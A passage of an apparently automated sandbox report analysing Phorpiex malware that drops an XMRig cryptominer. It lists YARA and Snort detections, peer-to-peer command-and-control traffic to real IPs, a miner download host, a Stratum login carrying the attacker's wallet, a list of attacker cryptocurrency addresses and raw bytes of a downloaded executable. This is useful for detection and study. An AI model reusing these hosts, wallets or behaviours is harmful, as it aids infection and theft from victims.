"bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4", "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw", "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4", "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE", "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N", "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT"]}
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040A760 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,0_2_0040A760
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040A760 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,1_2_0040A760
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040A760 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,2_2_0040A760

                              Phishing

                              barindex
                              Yara detected Phorpiex
                              Source: Yara matchFile source: file.exe, type: SAMPLE
                              Source: Yara matchFile source: 9.0.587025894.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 2.0.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 1.2.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 2.2.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 1.0.wsysrxvcs.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 9.2.587025894.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000002.00000000.330146799.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000000.306324126.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000001.00000002.635340368.00000000044B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000009.00000000.394260629.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000000.301551885.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000009.00000002.399491223.0000000000410000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000000.00000003.306336338.00000000006A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: file.exe PID: 4684, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: wsysrxvcs.exe PID: 2200, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: wsysrxvcs.exe PID: 4544, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: 587025894.exe PID: 6232, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Windows\wsysrxvcs.exe, type: DROPPED
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\587025894.exe, type: DROPPED

                              Bitcoin Miner

                              barindex
                              Yara detected Xmrig cryptocurrency miner
                              Source: Yara matchFile source: dump.pcap, type: PCAP
                              Source: Yara matchFile source: 15.2.winsvrupd.exe.7ff642cf0960.2.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 15.2.winsvrupd.exe.7ff642ced080.1.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 15.2.winsvrupd.exe.7ff642ce0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 15.2.winsvrupd.exe.7ff642cf0960.2.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 00000015.00000002.633519578.0000027716A2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: cmd.exe PID: 9644, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmp, type: DROPPED
                              Detected Stratum mining protocol
                              Source: global trafficTCP traffic: 192.168.2.5:50830 -> 185.215.113.84:5151 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"4bfqoqbmq7hcg7bu54wgkchwzn8wn8nmp6hcumpky3vrhbwksafjhox8hfnssnginnczdihtmiszcubdtmmgujtdbuvyc98","pass":"x","agent":"xmrig/6.18.1 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.
                              Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404F30 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,0_2_00404F30
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404DF0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00404DF0
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_00404F30 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,1_2_00404F30
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_00404DF0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,1_2_00404DF0
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_00404F30 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,2_2_00404F30
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_00404DF0 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,2_2_00404DF0
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeCode function: 4x nop then push rbx4_2_00007FF7D2535196
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeCode function: 4x nop then push rbx15_2_00007FF642CE5196

                              Networking

                              barindex
                              Snort IDS alert for network traffic
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 95.188.189.192:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 147.30.24.170:40500
                              Source: TrafficSnort IDS: 2829066 ETPRO TROJAN Observed Request for xmr.exe in - Coinminer Download 192.168.2.5:49699 -> 185.215.113.84:80
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 192.168.1.63:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 188.209.234.120:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 80.69.180.100:40500
                              Source: TrafficSnort IDS: 2808793 ETPRO TROJAN Win32.Androm.cxb Requesting PE 192.168.2.5:49759 -> 185.215.113.66:80
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 147.235.96.72:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 5.251.83.53:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 213.246.20.232:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 113.197.51.164:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 109.228.205.235:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 5.143.5.241:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 5.53.36.92:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 2.180.17.91:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 39.32.141.244:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 103.253.158.10:40500
                              Source: TrafficSnort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.5:56896 -> 212.112.97.125:40500
                              May check the online IP address of the machine
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeDNS query: name: icanhazip.com
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeDNS query: name: icanhazip.com
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeDNS query: name: icanhazip.com
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeDNS query: name: icanhazip.com
                              Contains functionality to check if Internet connection is working
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00409430 htons,socket,connect,getsockname, www.update.microsoft.com0_2_00409430
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_00409430 htons,socket,connect,getsockname, www.update.microsoft.com1_2_00409430
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_00409430 htons,socket,connect,getsockname, www.update.microsoft.com2_2_00409430
                              Contains functionality to determine the online IP of the system
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeCode function: 5_2_003217D0 InternetOpenA,InternetOpenUrlA,InternetReadFile,wsprintfA,wsprintfA,InternetCloseHandle,wsprintfA,InternetCloseHandle, http://icanhazip.com/5_2_003217D0
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeCode function: 8_2_010A17D0 InternetOpenA,InternetOpenUrlA,InternetReadFile,wsprintfA,wsprintfA,InternetCloseHandle,wsprintfA,InternetCloseHandle, http://icanhazip.com/8_2_010A17D0
                              Tries to resolve many domain names, but no domain seems valid
                              Source: unknownDNS traffic detected: query: 7635.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6222.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5419.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3624.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3165.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9716.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 7390.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6054.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9085.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4419.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9848.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6295.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9914.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 1551.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 2021.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4785.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9572.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4317.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: gmxe-com.mail.protection.outlook.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4853.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6619.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 1175.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 1810.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8723.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3265.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: pdfz.site replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9874.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4982.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0639.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2467.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4357.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5067.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9749.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 7819.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 1389.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7039.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8958.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8504.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 5396.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: g.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 5014.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4377.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8771.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9803.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2268.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4638.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3640.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 2103.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5581.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 5463.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 3109.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5gmaj.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 3974.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 87gmaill.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 5244.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5909.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6585.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0245.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 2958.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6787.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0948.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8510.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8188.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4603.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8985.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4139.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6292.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 2001gmali.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 0664.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9217.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3750.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4521.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8062.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3868.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0117.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 3389.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4278.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8373.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4745.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 0807.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8086.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7796.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 2933.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 5824.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7131.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7071.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8740.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9975.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8493.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8374.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3096.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2435.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2247.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8989.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8873.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 0506.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7454.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6346.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 0205.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9819.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3190.com replaycode: Refused (5)
                              Source: unknownDNS traffic detected: query: 8949.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2889.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9752.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6310.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 7847.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 1042.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3031.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9937.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 3628.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 7616.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7282.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9870.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8638.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5897.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 1214.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0028.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 0502.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9205.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 0369.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 7359.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: makanmiegoreng.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6987.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4476.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4088.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6231.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2642.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6856.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8119.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0277.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3450.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7548.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9181.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 1297.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 1739.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 0669.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4789.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0221.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3759.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9713.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3020.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8576.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5449.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2656.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9775.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 5962.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9418.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9465.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2670.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 2381.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6844.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 3179.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5279.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 2169.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 1777.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6068.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7115.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8397.com replaycode: Refused (5)
                              Source: unknownDNS traffic detected: query: 0833.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: videirasbc.com.br replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 8465.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4096.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4989.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8860.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 9674.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6337.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 3574.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3014.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 4595.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 7515.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 4975.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 7095.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9174.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 5243.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 7090.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 1951.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 8022.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0750.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 1618.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 0170.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6770.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 6773.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 3448.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 2987.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 5628.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 9513.com replaycode: Name error (3)
                              Source: unknownDNS traffic detected: query: 1930.com replaycode: Server failure (2)
                              Source: unknownDNS traffic detected: query: 6608.com replaycode: Server failure (2)
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 21 Mar 2023 14:37:53 GMTContent-Type: application/octet-streamContent-Length: 2074112Last-Modified: Fri, 11 Nov 2022 19:10:07 GMTConnection: keep-aliveETag: "636e9e0f-1fa600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 47 9d 6e 63 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 a6 00 00 00 a2 1f 00 00 0e 00 00 e0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 20 20 00 00 04 00 00 2e dd 1f 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 1f 00 f0 08 00 00 00 00 20 00 80 03 00 00 00 a0 1f 00 a4 07 00 00 00 00 00 00 00 00 00 00 00 10 20 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1f 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 d2 1f 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 48 a4 00 00 00 10 00 00 00 a6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 60 c7 1e 00 00 c0 00 00 00 c8 1e 00 00 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 20 0e 00 00 00 90 1f 00 00 10 00 00 00 72 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 a4 07 00 00 00 a0 1f 00 00 08 00 00 00 82 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 a0 06 00 00 00 b0 1f 00 00 08 00 00 00 8a 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 38 0c 00 00 00 c0 1f 00 00 00 00 00 00 00 00 00 00 00 00 